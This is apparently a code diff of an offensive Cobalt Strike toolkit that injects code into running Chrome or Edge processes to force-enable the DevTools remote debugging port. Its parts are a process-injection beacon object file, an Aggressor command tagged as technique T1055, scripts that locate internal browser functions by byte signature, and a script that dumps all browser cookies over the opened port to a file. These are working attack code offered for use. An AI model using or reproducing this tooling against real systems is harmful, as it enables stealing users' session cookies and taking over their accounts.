target = &targets[ti];
break;
}
}
if (!target) {
BeaconPrintf(CALLBACK_ERROR, "[-] Invalid browser argument. Expected 'chrome' or 'edge'.");
return;
}
pid = FindBrowserProcess(target->process_name);
if (!pid) {
BeaconPrintf(CALLBACK_ERROR, "[-] %ls browser process was not found", target->process_name);
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] Target = %ls, PID %lu", target->process_name, (unsigned long)pid);
hwnd = FindBrowserWindowForPid(pid);
if (!hwnd) {
BeaconPrintf(CALLBACK_ERROR, "[-] Could not find top-level browser window");
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] Browser window 0x%p", hwnd);
if (!GetRemoteModule(pid, target->module_name_w, &browser_base, &browser_size)) {
BeaconPrintf(CALLBACK_ERROR, "[-] Could not locate target DLL in browser");
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] %ls base = 0x%p", target->module_name_w, (void*)browser_base);
if (!GetRemoteSystemProc(pid, L"user32.dll", "SetWindowLongPtrA", &set_window_long_ptr_a)) {
BeaconPrintf(CALLBACK_ERROR, "[-] Could not resolve remote SetWindowLongPtrA");
return;
}
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcess failed: %lu", (unsigned long)GetLastError());
return;
}
if (!ResolveSymbolsRuntime(hProcess, browser_base, target, &start_server, &chrome_new, &factory_vtable)) {
CloseHandle(hProcess);
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] StartRemoteDebuggingServer = 0x%p", (void*)start_server);
BeaconPrintf(CALLBACK_OUTPUT, "[+] operator new = 0x%p", (void*)chrome_new);
BeaconPrintf(CALLBACK_OUTPUT, "[+] factory vtable = 0x%p", (void*)factory_vtable);
remote_mem = VirtualAllocEx(hProcess, NULL, total_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remote_mem) {
BeaconPrintf(CALLBACK_ERROR, "[-] VirtualAllocEx failed: %lu", (unsigned long)GetLastError());
CloseHandle(hProcess);
return;
}
local_page = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, total_size);
if (!local_page) {
BeaconPrintf(CALLBACK_ERROR, "[-] HeapAlloc failed");
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}
bof_memset(&install_ctx, 0, sizeof(install_ctx));
bof_memset(&wnd_ctx, 0, sizeof(wnd_ctx));
bof_memset(local_page, 0, total_size);
install_ctx_remote = (uintptr_t)remote_mem + 0x000;
wnd_ctx_remote = (uintptr_t)remote_mem + 0x040;
install_stub_remote= (uintptr_t)remote_mem + 0x100;
wnd_stub_remote = (uintptr_t)remote_mem + 0x180;
install_ctx.hwnd = (UINT64)(uintptr_t)hwnd;
install_ctx.new_wndproc = (UINT64)wnd_stub_remote;
install_ctx.set_window_long_ptr_a = (UINT64)set_window_long_ptr_a;
wnd_ctx.old_wndproc = 0;
wnd_ctx.set_window_long_ptr_a = (UINT64)set_window_long_ptr_a;
wnd_ctx.start_remote_debugging_server = (UINT64)start_server;
wnd_ctx.chrome_new = (UINT64)chrome_new;
wnd_ctx.factory_vtable = (UINT64)factory_vtable;
wnd_ctx.port = (UINT32)port;
wnd_ctx.mode = 0;
bof_memcpy(local_page + 0x000, &install_ctx, sizeof(install_ctx));
bof_memcpy(local_page + 0x040, &wnd_ctx, sizeof(wnd_ctx));
bof_memcpy(local_page + 0x100, INSTALL_STUB, sizeof(INSTALL_STUB));
bof_memcpy(local_page + 0x180, WNDPROC_STUB_TEMPLATE, sizeof(WNDPROC_STUB_TEMPLATE));
PatchQword(local_page + 0x180, 7, (UINT64)wnd_ctx_remote);
if (!WriteProcessMemory(hProcess, remote_mem, local_page, total_size, &written) || written != total_size) {
BeaconPrintf(CALLBACK_ERROR, "[-] WriteProcessMemory failed: %lu", (unsigned long)GetLastError());
HeapFree(GetProcessHeap(), 0, local_page);
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)install_stub_remote,
(LPVOID)install_ctx_remote, 0, NULL);
if (!hThread) {
BeaconPrintf(CALLBACK_ERROR, "[-] CreateRemoteThread(install) failed: %lu", (unsigned long)GetLastError());
HeapFree(GetProcessHeap(), 0, local_page);
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}
WaitForSingleObject(hThread, 5000);
GetExitCodeThread(hThread, &exit_code);
CloseHandle(hThread);
hThread = NULL;
BeaconPrintf(CALLBACK_OUTPUT, "[+] Install stub exit code: %lu", (unsigned long)exit_code);
if (!ReadProcessMemory(hProcess, (LPCVOID)install_ctx_remote, &install_ctx, sizeof(install_ctx), &written) ||
written != sizeof(install_ctx)) {
BeaconPrintf(CALLBACK_ERROR, "[-] ReadProcessMemory(install_ctx) failed: %lu", (unsigned long)GetLastError());
HeapFree(GetProcessHeap(), 0, local_page);
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "[+] Original WndProc = 0x%p", (void*)(uintptr_t)install_ctx.old_wndproc);
wnd_ctx.old_wndproc = install_ctx.old_wndproc;
if (!WriteProcessMemory(hProcess, (LPVOID)wnd_ctx_remote, &wnd_ctx, sizeof(wnd_ctx), &written) ||
written != sizeof(wnd_ctx)) {
BeaconPrintf(CALLBACK_ERROR, "[-] WriteProcessMemory(wnd_ctx) failed: %lu", (unsigned long)GetLastError());
HeapFree(GetProcessHeap(), 0, local_page);
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "[*] Sending trigger message 0x%X", WM_START_CDP_REMOTE);
SendMessageA(hwnd, WM_START_CDP_REMOTE, 0, 0);
BeaconPrintf(CALLBACK_OUTPUT, "[+] Trigger sent. Validate with netstat or curl http://localhost:%d/json/version", port);
HeapFree(GetProcessHeap(), 0, local_page);
VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE);
CloseHandle(hProcess);
}
+47
View File
@@ -0,0 +1,47 @@
sub read_cdp_bof {
local('$handle $data');
$handle = openf(script_resource("cdp_enable_bof.o"));
$data = readb($handle, -1);
closef($handle);
if (strlen($data) == 0) {
berror($1, "could not read cdp_enable_bof.o");
}
return $data;
}
alias cdp_enable {
local('$browser $port $args');
if (size(@_) != 3) {
berror($1, beacon_command_detail("cdp_enable"));
return;
}
if (barch($1) ne "x64") {
berror($1, "cdp_enable requires an x64 beacon");
return;
}
$browser = lc($2);
$port = int($3);
if ($browser ne "edge" && $browser ne "chrome") {
berror($1, "browser must be 'edge' or 'chrome'");
return;
}
if ($port <= 8999 || $port > 65535) {
berror($1, "port must be between 1 and 65535");
return;
}
$args = bof_pack($1, "zi", $browser, $port);
btask($1, "Tasked beacon to enable CDP in $browser on port $port", "T1055");
beacon_inline_execute($1, read_cdp_bof($1), "go", $args);
}
beacon_command_register(
"cdp_enable",
"Enable Chrome DevTools Protocol in a running Chrome/Edge browser with the CDP BOF.",
"Usage: cdp_enable <edge|chrome> <port>"
);
+161
View File
@@ -0,0 +1,161 @@
#!/usr/bin/env python3
import argparse
import contextlib
import io
import json
import re
import struct
import sys
from pathlib import Path
import pefile
ROOT = Path(__file__).resolve().parent
sys.path.insert(0, str(ROOT))
from pe_signature_finder import analyze_symbols, demangle_symbol # type: ignore
# From the current CDP-Enabler project: the Chrome/Edge allocator used for the
# factory object. Wildcards are emitted as "." in the regex.
OPERATOR_NEW_REGEX = (
rb"\x40\x53\x48\x83\xEC\x20\x48\x8B\xD9\xEB."
rb"\x48\x8B\xCB\xE8....\x85\xC0\x74.\x48\x8B\xCB"
)
OPERATOR_NEW_SIGNATURE = "40 53 48 83 EC 20 48 8B D9 EB ?? 48 8B CB E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B CB"
KNOWN_ENTRY1_SIGNATURES = {
"msedge.dll": bytes.fromhex("48 89 D0 0F B7 51 08 48"),
"chrome.dll": bytes.fromhex(
"41 57 41 56 56 57 55 53 48 81 EC 88 00 00 00 48 89 D6 48 8B 05 07"
),
}
def get_section(pe, section_name: str):
for section in pe.sections:
name = section.Name.rstrip(b"\x00").decode("ascii", errors="ignore")
if name == section_name:
return section, section.get_data()
raise RuntimeError(f"{pe.filename} has no {section_name} section")
def find_unique_regex(pattern: bytes, data: bytes) -> int:
matches = [m.start() for m in re.finditer(pattern, data, re.S)]
if len(matches) != 1:
raise RuntimeError(f"expected exactly one match, got {len(matches)}")
return matches[0]
def choose_tcp_factory_entry1(pe_path: Path, pdb_path: Path):
with contextlib.redirect_stderr(io.StringIO()):
results = list(
analyze_symbols(
str(pe_path),
str(pdb_path),
"*CreateForHttpServer*",
min_sig=8,
max_sig=64,
)
)
for result in results:
demangled = demangle_symbol(result.symbol.name)
if "TCPServerSocketFactory::CreateForHttpServer()" in demangled:
return result, demangled
raise RuntimeError("TCPServerSocketFactory::CreateForHttpServer was not found in the PDB")
def main():
parser = argparse.ArgumentParser(
description="Find the inputs needed to eventually call StartRemoteDebuggingServer."
)
parser.add_argument("pe", type=Path, help="Path to chrome.dll/msedge.dll")
parser.add_argument("pdb", type=Path, nargs="?", help="Optional path to matching PDB")
args = parser.parse_args()
pe = pefile.PE(str(args.pe))
image_base = pe.OPTIONAL_HEADER.ImageBase
text_section, text_data = get_section(pe, ".text")
rdata_section, rdata_data = get_section(pe, ".rdata")
operator_new_off = find_unique_regex(OPERATOR_NEW_REGEX, text_data)
operator_new_rva = text_section.VirtualAddress + operator_new_off
entry1_sig = KNOWN_ENTRY1_SIGNATURES.get(args.pe.name.lower())
if entry1_sig is None:
raise RuntimeError(f"no built-in CreateForHttpServer signature for {args.pe.name}")
entry1_off = find_unique_regex(re.escape(entry1_sig), text_data)
entry1_sig_rva = text_section.VirtualAddress + entry1_off
entry1_rva = entry1_sig_rva
entry1_va = image_base + entry1_rva
vtable_candidates = []
for offset in range(0, len(rdata_data) - 16 + 1, 8):
q0, q1 = struct.unpack_from("<QQ", rdata_data, offset)
if (
q1 == entry1_va
and image_base + text_section.VirtualAddress
<= q0
< image_base + text_section.VirtualAddress + text_section.Misc_VirtualSize
):
vtable_candidates.append(rdata_section.VirtualAddress + offset)
if not vtable_candidates:
raise RuntimeError("failed to derive TCPServerSocketFactory vtable from .rdata")
vtable_entry1_rva = vtable_candidates[0]
output = {
"binary": str(args.pe),
"operator_new": {
"rva": f"0x{operator_new_rva:08X}",
"va": f"0x{image_base + operator_new_rva:016X}",
"signature": OPERATOR_NEW_SIGNATURE,
},
"tcp_server_socket_factory": {
"create_for_http_server": {
"rva": f"0x{entry1_rva:08X}",
"va": f"0x{entry1_va:016X}",
"derived_vtable_entry1_candidates": [f"0x{candidate:08X}" for candidate in vtable_candidates],
"vtable_entry1_rva": f"0x{vtable_entry1_rva:08X}",
"vtable_rva": f"0x{vtable_entry1_rva - 8:08X}",
"vtable_va": f"0x{image_base + vtable_entry1_rva - 8:016X}",
},
"layout": {
"size": 16,
"vtable_offset": 0,
"port_offset": 8,
},
},
"filepath": {
"size": 24,
"initialization": "all-zero empty FilePath blob",
},
"call_shape": {
"rcx": "pointer to unique_ptr<DevToolsSocketFactory> wrapper",
"rdx": "empty base::FilePath for active_port_output_directory",
"r8": "empty base::FilePath for debug_frontend_dir",
"r9d": "RemoteDebuggingServerMode",
},
}
if args.pdb:
entry1_result, entry1_demangled = choose_tcp_factory_entry1(args.pe, args.pdb)
output["pdb"] = str(args.pdb)
output["tcp_server_socket_factory"]["create_for_http_server"]["symbol"] = entry1_demangled
output["tcp_server_socket_factory"]["create_for_http_server"]["pdb_rva"] = f"0x{entry1_result.symbol.rva:08X}"
output["tcp_server_socket_factory"]["create_for_http_server"]["pdb_vtable_refs"] = [
f"0x{ref:08X}" for ref in entry1_result.vtable_refs
]
output["tcp_server_socket_factory"]["create_for_http_server"]["signature_matches_pdb_rva"] = (
entry1_sig_rva == entry1_result.symbol.rva
)
print(json.dumps(output, indent=2))
if __name__ == "__main__":
main()
+100
View File
@@ -0,0 +1,100 @@
#!/usr/bin/env python3
import argparse
import contextlib
import io
import json
import re
import sys
from pathlib import Path
import pefile
ROOT = Path(__file__).resolve().parent
sys.path.insert(0, str(ROOT))
from pe_signature_finder import analyze_symbols, format_bytes # type: ignore
KNOWN_START_SERVER_SIGNATURES = {
"msedge.dll": bytes.fromhex(
"41 57 41 56 41 54 56 57 55 53 48 83 EC 50 "
"44 89 CD 4C 89 C3 48 89 D7 48 89 CE 48 8B 05 9D"
),
"chrome.dll": bytes.fromhex(
"41 57 41 56 56 57 55 53 48 83 EC 48 "
"44 89 CD 4D 89 C6 48 89 D3 48 89 CE 48 8B 05 41"
),
}
def load_text_section(pe_path: Path):
pe = pefile.PE(str(pe_path))
for section in pe.sections:
name = section.Name.rstrip(b"\x00").decode("ascii", errors="ignore")
if name == ".text":
return pe, section, section.get_data()
raise RuntimeError(f"{pe_path} has no .text section")
def verify_unique(pattern: bytes, haystack: bytes) -> int:
return len(list(re.finditer(re.escape(pattern), haystack)))
def main():
parser = argparse.ArgumentParser(
description="Find StartRemoteDebuggingServer and emit a reusable unique signature."
)
parser.add_argument("pe", type=Path, help="Path to chrome.dll/msedge.dll")
parser.add_argument("pdb", type=Path, nargs="?", help="Optional path to matching PDB")
args = parser.parse_args()
pe, _text_section, text_data = load_text_section(args.pe)
known_sig = KNOWN_START_SERVER_SIGNATURES.get(args.pe.name.lower())
if known_sig is None:
raise SystemExit(f"no built-in signature for {args.pe.name}; provide a PDB for ground truth")
pattern_hits = [m.start() for m in re.finditer(re.escape(known_sig), text_data)]
if len(pattern_hits) != 1:
raise SystemExit(f"expected exactly one StartRemoteDebuggingServer signature hit, got {len(pattern_hits)}")
matched_offset = pattern_hits[0]
matched_rva = _text_section.VirtualAddress + matched_offset
output = {
"binary": str(args.pe),
"signature_rva": f"0x{matched_rva:08X}",
"signature_va": f"0x{pe.OPTIONAL_HEADER.ImageBase + matched_rva:016X}",
"signature_length": len(known_sig),
"signature_hex": format_bytes(known_sig),
"text_hits": 1,
}
if args.pdb:
with contextlib.redirect_stderr(io.StringIO()):
results = list(
analyze_symbols(
str(args.pe),
str(args.pdb),
"*StartRemoteDebuggingServer*",
min_sig=8,
max_sig=64,
)
)
good = [r for r in results if r.signature and r.match_count == 1]
if good:
result = good[0]
signature = result.signature
assert signature is not None
output["pdb"] = str(args.pdb)
output["symbol"] = result.symbol.name
output["pdb_rva"] = f"0x{result.symbol.rva:08X}"
output["pdb_va"] = f"0x{pe.OPTIONAL_HEADER.ImageBase + result.symbol.rva:016X}"
output["pdb_signature_hex"] = format_bytes(signature)
output["pdb_signature_text_hits"] = verify_unique(signature, text_data)
output["signature_matches_pdb_rva"] = matched_rva == result.symbol.rva
print(json.dumps(output, indent=2))
if __name__ == "__main__":
main()
+83
View File
@@ -0,0 +1,83 @@
#!/usr/bin/env python3
import argparse
import json
import sys
import urllib.error
import urllib.parse
import urllib.request
from websocket import create_connection
def http_json(url: str) -> dict:
with urllib.request.urlopen(url) as resp:
return json.loads(resp.read().decode("utf-8"))
def resolve_browser_ws(host: str, port: int) -> str:
version_url = f"http://{host}:{port}/json/version"
info = http_json(version_url)
ws_url = info.get("webSocketDebuggerUrl")
if not ws_url:
raise RuntimeError(f"No webSocketDebuggerUrl in {version_url}")
return ws_url
def cdp_call(ws, message_id: int, method: str, params: dict | None = None) -> dict:
req = {"id": message_id, "method": method}
if params:
req["params"] = params
ws.send(json.dumps(req))
while True:
raw = ws.recv()
msg = json.loads(raw)
if msg.get("id") == message_id:
return msg
def grab_cookies(ws_url: str) -> list[dict]:
ws = create_connection(ws_url, suppress_origin=True, timeout=10)
try:
resp = cdp_call(ws, 1, "Storage.getCookies")
finally:
ws.close()
if "error" in resp:
raise RuntimeError(f"CDP error: {resp['error']}")
return resp.get("result", {}).get("cookies", [])
def main() -> int:
parser = argparse.ArgumentParser(description="Grab cookies over a locally enabled CDP port.")
parser.add_argument("--host", default="127.0.0.1", help="CDP host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=9001, help="CDP port (default: 9001)")
parser.add_argument("--output", default="cookies.json", help="Output JSON path")
parser.add_argument("--domain", help="Optional domain substring filter")
args = parser.parse_args()
try:
ws_url = resolve_browser_ws(args.host, args.port)
cookies = grab_cookies(ws_url)
except urllib.error.URLError as exc:
print(f"[-] Failed to reach CDP endpoint: {exc}", file=sys.stderr)
return 1
except Exception as exc:
print(f"[-] Failed to grab cookies: {exc}", file=sys.stderr)
return 1
if args.domain:
needle = args.domain.lower()
cookies = [c for c in cookies if needle in c.get("domain", "").lower()]
with open(args.output, "w", encoding="utf-8") as fh:
json.dump(cookies, fh, indent=2)
print(f"[+] Browser websocket: {ws_url}")
print(f"[+] Cookies written: {len(cookies)}")
print(f"[+] Output: {args.output}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
+793
View File
@@ -0,0 +1,793 @@
#!/usr/bin/env python3
"""
PE/PDB Signature Finder Tool
Analyzes PE files with PDB symbols to find minimum unique signatures for functions.
Supports wildcard pattern matching for symbol names.
Usage:
python pe_signature_finder.py <pe_file> <pdb_file> <symbol_pattern>
Examples:
python pe_signature_finder.py app.exe app.pdb "*::MyClass::*"
python pe_signature_finder.py app.exe app.pdb "*::SomeFunc"
python pe_signature_finder.py app.exe app.pdb "??_7*@@6B@" # vtable pattern
"""
import argparse
import fnmatch
import struct
import sys
import mmap
from pathlib import Path
from dataclasses import dataclass, field
from typing import Optional, List, Tuple, Iterator, Dict
try:
import pefile
except ImportError:
print("Error: pefile library not found. Install with: pip install pefile")
sys.exit(1)
# PDB Magic signatures
PDB_SIGNATURE_700 = b"Microsoft C/C++ MSF 7.00\r\n\x1aDS\x00\x00\x00"
@dataclass
class SymbolInfo:
"""Represents a symbol from the PDB."""
name: str
rva: int
size: int = 0
segment: int = 0
offset: int = 0
@dataclass
class SignatureResult:
"""Result of signature finding for a symbol."""
symbol: SymbolInfo
signature: Optional[bytes] = None
signature_length: int = 0
match_count: int = 0
section: str = ""
vtable_refs: List[int] = field(default_factory=list)
error: Optional[str] = None
def demangle_symbol(name: str) -> str:
"""
Attempt to demangle a C++ symbol name.
This is a simplified demangler for common MSVC patterns.
"""
if not name.startswith('?'):
return name
# ??_7ClassName@@6B@ = vtable
if name.startswith('??_7') and '@@6B@' in name:
class_name = name[4:].split('@@')[0].replace('@', '::')
return f"{class_name}::`vftable'"
# ??0ClassName@@... = constructor
if name.startswith('??0'):
parts = name[3:].split('@@')
if parts:
class_name = parts[0].replace('@', '::')
short_name = class_name.split('::')[-1]
return f"{class_name}::{short_name}()"
# ??1ClassName@@... = destructor
if name.startswith('??1'):
parts = name[3:].split('@@')
if parts:
class_name = parts[0].replace('@', '::')
short_name = class_name.split('::')[-1]
return f"{class_name}::~{short_name}()"
# ?FuncName@ClassName@@... = member function
if name.startswith('?') and '@' in name:
parts = name[1:].split('@')
if len(parts) >= 2:
func_name = parts[0]
class_parts = []
for part in parts[1:]:
if part.startswith('@'):
break
if part:
class_parts.append(part)
if class_parts:
class_name = '::'.join(reversed(class_parts))
return f"{class_name}::{func_name}()"
return name
class PDBParser:
"""
PDB parser for extracting symbol information.
Supports PDB 7.0 format (MSF format).
"""
# Symbol record types
S_PUB32 = 0x110E
S_GDATA32 = 0x110D
S_LDATA32 = 0x110C
S_PROCREF = 0x1125
S_LPROCREF = 0x1127
S_GPROC32 = 0x1110
S_LPROC32 = 0x110F
S_GPROC32_ID = 0x1147
S_LPROC32_ID = 0x1146
S_PUB32_ST = 0x1009 # Older format
def __init__(self, pdb_path: str, pe: pefile.PE, verbose: bool = False):
self.pdb_path = Path(pdb_path)
self.pe = pe
self.verbose = verbose
self.symbols: List[SymbolInfo] = []
self.section_headers: List[Tuple[int, int]] = [] # (VA, size) pairs from PDB
self._build_section_map_from_pe()
self._parse()
def _build_section_map_from_pe(self):
"""Build section map from PE file."""
self.section_map = {}
for idx, section in enumerate(self.pe.sections, 1):
self.section_map[idx] = section.VirtualAddress
def _log(self, msg: str):
if self.verbose:
print(f"[PDB] {msg}", file=sys.stderr)
def _parse(self):
"""Parse the PDB file."""
with open(self.pdb_path, 'rb') as f:
data = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
try:
self._parse_pdb7(data)
finally:
data.close()
def _read_pages(self, data: mmap.mmap, pages: List[int], page_size: int, total_size: int) -> bytes:
"""Read data from specified pages."""
result = bytearray()
remaining = total_size
for page in pages:
chunk_size = min(page_size, remaining)
offset = page * page_size
result.extend(data[offset:offset + chunk_size])
remaining -= chunk_size
return bytes(result)
def _parse_pdb7(self, data: mmap.mmap):
"""Parse PDB 7.0 (MSF) format."""
# Check signature
if data[:len(PDB_SIGNATURE_700)] != PDB_SIGNATURE_700:
raise ValueError("Not a valid PDB 7.0 file")
# Read MSF header
header_offset = len(PDB_SIGNATURE_700)
page_size, = struct.unpack_from('<I', data, header_offset)
dir_size, = struct.unpack_from('<I', data, header_offset + 12)
dir_map_page, = struct.unpack_from('<I', data, header_offset + 20)
self._log(f"Page size: {page_size}, Dir size: {dir_size}")
# Calculate directory pages
dir_pages_count = (dir_size + page_size - 1) // page_size
dir_map_offset = dir_map_page * page_size
dir_page_list = []
for i in range(dir_pages_count):
page_num, = struct.unpack_from('<I', data, dir_map_offset + i * 4)
dir_page_list.append(page_num)
# Read directory
directory = self._read_pages(data, dir_page_list, page_size, dir_size)
# Parse directory - get stream count and sizes
stream_count, = struct.unpack_from('<I', directory, 0)
self._log(f"Stream count: {stream_count}")
stream_sizes = []
offset = 4
for i in range(stream_count):
size, = struct.unpack_from('<I', directory, offset)
stream_sizes.append(size)
offset += 4
# Build page lists for each stream
stream_pages = []
for i in range(stream_count):
size = stream_sizes[i]
if size == 0 or size == 0xFFFFFFFF:
stream_pages.append([])
continue
pages_needed = (size + page_size - 1) // page_size
pages = []
for j in range(pages_needed):
page, = struct.unpack_from('<I', directory, offset)
pages.append(page)
offset += 4
stream_pages.append(pages)
# Helper to read a stream
def read_stream(idx: int) -> Optional[bytes]:
if idx >= stream_count or stream_sizes[idx] == 0 or stream_sizes[idx] == 0xFFFFFFFF:
return None
return self._read_pages(data, stream_pages[idx], page_size, stream_sizes[idx])
# Read DBI stream (stream 3)
dbi_data = read_stream(3)
if not dbi_data or len(dbi_data) < 64:
self._log("No DBI stream found")
return
# Parse DBI header
gs_stream, = struct.unpack_from('<H', dbi_data, 12) # Global symbols stream index
ps_stream, = struct.unpack_from('<H', dbi_data, 16) # Public symbols stream index
sym_rec_stream, = struct.unpack_from('<H', dbi_data, 20) # Symbol records stream
self._log(f"GSI stream: {gs_stream}, PSI stream: {ps_stream}, SymRec stream: {sym_rec_stream}")
# Get substream sizes from DBI header
mod_size, = struct.unpack_from('<I', dbi_data, 24)
sec_con_size, = struct.unpack_from('<I', dbi_data, 28)
sec_map_size, = struct.unpack_from('<I', dbi_data, 32)
file_info_size, = struct.unpack_from('<I', dbi_data, 36)
ts_map_size, = struct.unpack_from('<I', dbi_data, 40)
ec_info_size, = struct.unpack_from('<I', dbi_data, 44)
dbg_hdr_size, = struct.unpack_from('<I', dbi_data, 48)
# Read section headers from debug header
dbi_header_size = 64
dbg_hdr_offset = dbi_header_size + mod_size + sec_con_size + sec_map_size + file_info_size + ts_map_size + ec_info_size
if dbg_hdr_size >= 24 and dbg_hdr_offset + 24 <= len(dbi_data):
# Debug header contains stream indices for various debug info
sec_hdr_stream, = struct.unpack_from('<H', dbi_data, dbg_hdr_offset + 12)
if sec_hdr_stream != 0xFFFF:
sec_hdr_data = read_stream(sec_hdr_stream)
if sec_hdr_data:
self._parse_section_headers(sec_hdr_data)
# Read symbol records stream - this contains all the actual symbols
sym_rec_data = read_stream(sym_rec_stream)
if sym_rec_data:
self._log(f"Symbol records stream size: {len(sym_rec_data)}")
self._parse_symbol_records(sym_rec_data)
def _parse_section_headers(self, data: bytes):
"""Parse section headers from PDB (optional, PE sections are authoritative)."""
# Each section header is 40 bytes (IMAGE_SECTION_HEADER)
# We DON'T overwrite section_map - PE sections are authoritative
# This is just for informational purposes
entry_size = 40
offset = 0
while offset + entry_size <= len(data):
name = data[offset:offset+8].rstrip(b'\x00')
va, = struct.unpack_from('<I', data, offset + 12)
size, = struct.unpack_from('<I', data, offset + 8)
# Only store if it looks valid (VA should be > 0 and name should be printable)
if va > 0 and all(32 <= b < 127 or b == 0 for b in name):
self.section_headers.append((va, size))
offset += entry_size
self._log(f"Parsed {len(self.section_headers)} section headers from PDB")
def _parse_symbol_records(self, data: bytes):
"""Parse symbol records stream."""
offset = 0
count = 0
while offset + 4 <= len(data):
rec_len, = struct.unpack_from('<H', data, offset)
if rec_len < 2 or offset + rec_len + 2 > len(data):
offset += 1
continue
rec_type, = struct.unpack_from('<H', data, offset + 2)
if rec_type == self.S_PUB32:
self._parse_pub32(data, offset, rec_len)
count += 1
elif rec_type in (self.S_GPROC32, self.S_LPROC32):
self._parse_proc32(data, offset, rec_len)
count += 1
elif rec_type in (self.S_GPROC32_ID, self.S_LPROC32_ID):
self._parse_proc32_id(data, offset, rec_len)
count += 1
elif rec_type in (self.S_GDATA32, self.S_LDATA32):
self._parse_data32(data, offset, rec_len)
count += 1
offset += rec_len + 2
self._log(f"Parsed {count} symbol records, found {len(self.symbols)} symbols")
def _parse_pub32(self, data: bytes, offset: int, rec_len: int):
"""Parse S_PUB32 record (public symbol)."""
if rec_len < 14:
return
try:
# pubsymflags (4), offset (4), segment (2), name
flags, = struct.unpack_from('<I', data, offset + 4)
sym_offset, = struct.unpack_from('<I', data, offset + 8)
segment, = struct.unpack_from('<H', data, offset + 12)
name_start = offset + 14
name_end = data.find(b'\x00', name_start, offset + rec_len + 2)
if name_end == -1:
name_end = offset + rec_len + 2
name = data[name_start:name_end].decode('utf-8', errors='replace')
if name and segment > 0:
rva = self._calculate_rva(segment, sym_offset)
if rva is not None:
self.symbols.append(SymbolInfo(
name=name,
rva=rva,
segment=segment,
offset=sym_offset
))
except (struct.error, UnicodeDecodeError):
pass
def _parse_proc32(self, data: bytes, offset: int, rec_len: int):
"""Parse S_GPROC32/S_LPROC32 record."""
if rec_len < 36:
return
try:
# parent(4), end(4), next(4), len(4), dbgstart(4), dbgend(4), type(4), offset(4), seg(2), flags(1), name
proc_len, = struct.unpack_from('<I', data, offset + 16)
sym_offset, = struct.unpack_from('<I', data, offset + 32)
segment, = struct.unpack_from('<H', data, offset + 36)
name_start = offset + 39
name_end = data.find(b'\x00', name_start, offset + rec_len + 2)
if name_end == -1:
name_end = offset + rec_len + 2
name = data[name_start:name_end].decode('utf-8', errors='replace')
if name and segment > 0:
rva = self._calculate_rva(segment, sym_offset)
if rva is not None:
self.symbols.append(SymbolInfo(
name=name,
rva=rva,
size=proc_len,
segment=segment,
offset=sym_offset
))
except (struct.error, UnicodeDecodeError):
pass
def _parse_proc32_id(self, data: bytes, offset: int, rec_len: int):
"""Parse S_GPROC32_ID/S_LPROC32_ID record."""
# Same structure as PROC32 but type field is an ID not index
self._parse_proc32(data, offset, rec_len)
def _parse_data32(self, data: bytes, offset: int, rec_len: int):
"""Parse S_GDATA32/S_LDATA32 record."""
if rec_len < 12:
return
try:
# type(4), offset(4), seg(2), name
sym_offset, = struct.unpack_from('<I', data, offset + 8)
segment, = struct.unpack_from('<H', data, offset + 12)
name_start = offset + 14
name_end = data.find(b'\x00', name_start, offset + rec_len + 2)
if name_end == -1:
name_end = offset + rec_len + 2
name = data[name_start:name_end].decode('utf-8', errors='replace')
if name and segment > 0:
rva = self._calculate_rva(segment, sym_offset)
if rva is not None:
self.symbols.append(SymbolInfo(
name=name,
rva=rva,
segment=segment,
offset=sym_offset
))
except (struct.error, UnicodeDecodeError):
pass
def _calculate_rva(self, segment: int, offset: int) -> Optional[int]:
"""Calculate RVA from segment:offset."""
if segment in self.section_map:
return self.section_map[segment] + offset
return None
def find_symbols(self, pattern: str) -> List[SymbolInfo]:
"""Find symbols matching the given pattern (supports wildcards).
Matches against both mangled and demangled names.
"""
matches = []
seen = set()
for sym in self.symbols:
# Match against mangled name
if fnmatch.fnmatch(sym.name, pattern):
key = (sym.name, sym.rva)
if key not in seen:
seen.add(key)
matches.append(sym)
continue
# Also try matching against demangled name
demangled = demangle_symbol(sym.name)
if demangled != sym.name and fnmatch.fnmatch(demangled, pattern):
key = (sym.name, sym.rva)
if key not in seen:
seen.add(key)
matches.append(sym)
return matches
class PEAnalyzer:
"""Analyzes PE files for signatures and vtable references."""
MIN_SIG_LENGTH = 8
MAX_SIG_LENGTH = 64
def __init__(self, pe_path: str):
self.pe_path = Path(pe_path)
self.pe = pefile.PE(str(pe_path))
self.image_base = self.pe.OPTIONAL_HEADER.ImageBase
# Cache all section data for searching
self._section_cache = {}
for section in self.pe.sections:
name = section.Name.decode('utf-8').rstrip('\x00')
self._section_cache[name] = {
'section': section,
'data': section.get_data(),
'va': section.VirtualAddress,
'size': section.Misc_VirtualSize
}
# Quick references for common sections
self._text_section = self._find_section('.text')
self._rdata_section = self._find_section('.rdata')
def _find_section(self, name: str) -> Optional[pefile.SectionStructure]:
"""Find a section by name."""
for section in self.pe.sections:
section_name = section.Name.decode('utf-8').rstrip('\x00')
if section_name == name:
return section
name_lower = name.lower()
for section in self.pe.sections:
section_name = section.Name.decode('utf-8').rstrip('\x00').lower()
if section_name == name_lower:
return section
return None
